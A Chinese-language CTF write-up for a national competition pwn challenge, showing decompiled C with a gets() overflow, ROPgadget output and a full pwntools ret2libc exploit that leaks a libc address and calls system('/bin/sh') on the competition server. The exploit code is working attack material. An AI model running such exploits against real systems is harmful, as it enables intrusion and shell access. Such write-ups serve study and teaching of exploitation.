0%

国赛pwn01

pwn-01

题目不难,很明显能看出ROP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
int encrypt()
{
size_t v0; // rbx
char s[48]; // [rsp+0h] [rbp-50h]
__int16 v3; // [rsp+30h] [rbp-20h]

memset(s, 0, sizeof(s));
v3 = 0;
puts("Input your Plaintext to be encrypted");
gets(s);
while ( 1 )
{
v0 = (unsigned int)x;
if ( v0 >= strlen(s) )
break;
if ( s[x] <= 96 || s[x] > 122 )
{
if ( s[x] <= 64 || s[x] > 90 )
{
if ( s[x] > 47 && s[x] <= 57 )
s[x] ^= 0xFu;
}
else
{
s[x] ^= 0xEu;
}
}
else
{
s[x] ^= 0xDu;
}
++x;
}
puts("Ciphertext");
return puts(s);
}

gets没有限制长度,然后有个麻烦的地方就是对payload进行了一轮加密操作,然后过了这部分后,还要记住他是64位程序,用寄存器传前5个还是前6个参数来着,忘了,不重要,不过确定的是第一位是用的rdi,所以需要
ROPgadget –binary Emachine –only ‘pop|ret’
然后找到那个地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
└──╼ $ROPgadget --binary Emachine --only 'pop|ret'
Gadgets information
============================================================
0x0000000000400c7c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400c7e : pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400c80 : pop r14 ; pop r15 ; ret
0x0000000000400c82 : pop r15 ; ret
0x0000000000400c7b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400c7f : pop rbp ; pop r14 ; pop r15 ; ret
0x00000000004007f0 : pop rbp ; ret
0x0000000000400aec : pop rbx ; pop rbp ; ret
0x0000000000400c83 : pop rdi ; ret
0x0000000000400c81 : pop rsi ; pop r15 ; ret
0x0000000000400c7d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004006b9 : ret
0x00000000004008ca : ret 0x2017
0x0000000000400962 : ret 0x458b
0x00000000004009c5 : ret 0xbf02

Unique gadgets found: 15

然后加密部分在加密一次就完了,异或加密可逆

加密函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
def Decrypt(payload):
result = ""
for x in range(len(payload)):
if ord(payload[x]) <= 96 or ord(payload[x]) > 122:
if ord(payload[x]) <=64 or ord(payload[x]) > 90:
if ord(payload[x]) > 47 and ord(payload[x]) <= 57:
result += chr(ord(payload[x]) ^ 0xf)
else:
result += payload[x]
else:
result += chr(ord(payload[x]) ^ 0xe)
else:
result += chr(ord(payload[x]) ^ 0xd)
return result

初始化部分

1
2
3
4
5
6
7
8
9
10
11
12
offset = 0x50 + 8
#io = process("./Emachine")
io = remote("172.29.14.110", 8888)
elf = ELF('./Emachine')
#libc = elf.libc
libc = ELF('./libc-2.23.so')

puts_plt = elf.plt['puts']
__libc_start_main_got = elf.got['__libc_start_main']
start = 0x0000000000400B28
pop_rdi = 0x0000000000400c83
__libc_start_main_plt = elf.plt['__libc_start_main']

初始化部分,offset是0x58,本地是和远程libc不一样

主函数部分

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
if __name__ == '__main__':
print hex(puts_plt)
print hex(__libc_start_main_got)
print hex(__libc_start_main_plt)

#encrypt
io.sendline("1")
payload = p64(__libc_start_main_got-1)
payload = 'a'*offset + p64(pop_rdi) + p64(__libc_start_main_got-1) + p64(puts_plt) + p64(0x0000000000400B28)
payload = Decrypt(payload)
io.sendline(payload)
io.recvuntil("Ciphertext\n")
#print "io.recv =" + io.recv()
#io.sendline("1")
#result = io.recvuntil("\nE", drop= True)[-8:]
result = io.recvuntil('\n')
result = io.recvuntil('\n')
result = u64(result[:-1]+p8(0)+p8(0))
#泄露libc地址
print hex(result)

__libc_start_main_addr = result
libc_base = __libc_start_main_addr - libc.symbols['__libc_start_main']
system_addr = libc_base + libc.symbols['system']
bin_sh = libc_base + libc.search("/bin/sh").next()

payload = 'a'*offset + p64(pop_rdi) + p64(bin_sh) + p64(system_addr)
io.sendline("1")
io.sendline(payload)
#print "addr " + hex(u64(io.recv(8)))
#print hex(u64(io.recv(8)))


#print len(io.recv(8))
io.interactive()

直接把payload 进行一次加密就完了,然后进行正常的ROP就完了,pop_rdi, 将__libc_start_got pop到rdi里,然后puts就是puts got,然后返回地址就是0x0000000000400B28
泄露过后,我这里进行调试了很多遍,才知道如何接受那个字符串,就是泄露的libc_start_main地址

接受成功后,就是在pop bin_sh 然后执行system函数就完了,

现在写writeup的时候,发觉有更简单的办法,加密函数根本不用管,我原来错的只是寄存器传参的问题,因为我发觉我后面传payload的时候忘了加密也成了。。。。
所以。。。原来是简单题,被我做复杂了。。。
只是一个在简单不过的ret2libc??

还有个内网我无法下载libc。。。幸亏我特么本机存了ctf-wiki的libc,那个题目的libc直接打成了是libc2.23.so
好像后面的题目也给了libc,直接下载也成吧
以后要正确区分64位程序跟32位程序区别,这次踩了好久的坑

本文作者:NoOne
本文地址https://noonegroup.xyz/posts/2bb7fa87/
版权声明:转载请注明出处!